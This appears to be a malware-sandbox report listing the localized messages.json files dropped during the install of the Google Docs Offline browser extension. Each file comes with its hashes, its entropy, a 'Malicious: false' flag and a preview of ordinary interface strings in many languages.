Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
